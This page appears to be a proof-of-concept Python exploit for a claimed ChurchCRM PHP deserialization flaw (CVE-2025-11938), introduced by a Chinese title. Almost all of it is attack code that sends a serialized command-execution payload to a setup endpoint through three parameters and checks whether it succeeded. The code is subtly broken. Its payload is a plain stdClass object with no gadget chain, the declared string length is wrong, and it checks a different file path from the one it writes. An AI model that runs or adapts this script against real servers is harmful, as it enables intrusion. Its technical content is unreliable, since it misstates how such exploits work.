CVE-2025-11938：ChurchCRM反序列化漏洞导致远程代码执行

# CVE-2025-11938 - ChurchCRM PHP Deserialization PoC # Vulnerability: Unserialize of user-controlled parameters in setup/routes/setup.php # Affected parameters: DB_PASSWORD, ROOT_PATH, URL import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-churchcrm.example.com" # PHP serialized gadget chain payload (example using a common PHP gadget) # This payload triggers __destruct() magic method to execute system command MALICIOUS_PAYLOAD = 'O:8:"stdClass":1:{s:7:"command";s:27:"system(\'id > /tmp/pwned\')";}' def exploit(): """ Exploit CVE-2025-11938 by sending malicious serialized data through the vulnerable setup.php parameters. """ endpoint = f"{TARGET_URL}/setup/routes/setup.php" # Method 1: Inject via DB_PASSWORD parameter params_db = { "DB_PASSWORD": MALICIOUS_PAYLOAD, "ROOT_PATH": "/var/www/html/churchcrm", "URL": TARGET_URL, "action": "test" } print(f"[*] Targeting: {endpoint}") print(f"[*] Sending malicious payload via DB_PASSWORD parameter...") try: response = requests.post(endpoint, data=params_db, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response body: {response.text[:500]}") # Verify exploitation verify = requests.get(f"{TARGET_URL}/tmp/pwned.txt", timeout=5) if verify.status_code == 200: print(f"[+] Exploitation successful! Output: {verify.text}") else: print("[-] Could not verify exploitation via /tmp/pwned") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Method 2: Inject via ROOT_PATH parameter params_root = { "DB_PASSWORD": "password123", "ROOT_PATH": MALICIOUS_PAYLOAD, "URL": TARGET_URL, "action": "test" } print(f"\n[*] Sending malicious payload via ROOT_PATH parameter...") try: response = requests.post(endpoint, data=params_root, timeout=10) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Method 3: Inject via URL parameter params_url = { "DB_PASSWORD": "password123", "ROOT_PATH": "/var/www/html/churchcrm", "URL": MALICIOUS_PAYLOAD, "action": "test" } print(f"\n[*] Sending malicious payload via URL parameter...") try: response = requests.post(endpoint, data=params_url, timeout=10) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": exploit()